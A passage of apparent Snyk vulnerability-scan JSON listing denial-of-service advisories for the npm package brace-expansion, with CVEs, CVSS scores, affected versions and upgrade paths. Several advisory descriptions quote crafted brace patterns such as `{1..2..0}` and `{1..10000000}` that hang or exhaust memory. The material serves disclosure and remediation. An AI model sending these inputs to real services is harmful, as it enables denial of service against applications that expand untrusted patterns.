"https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": 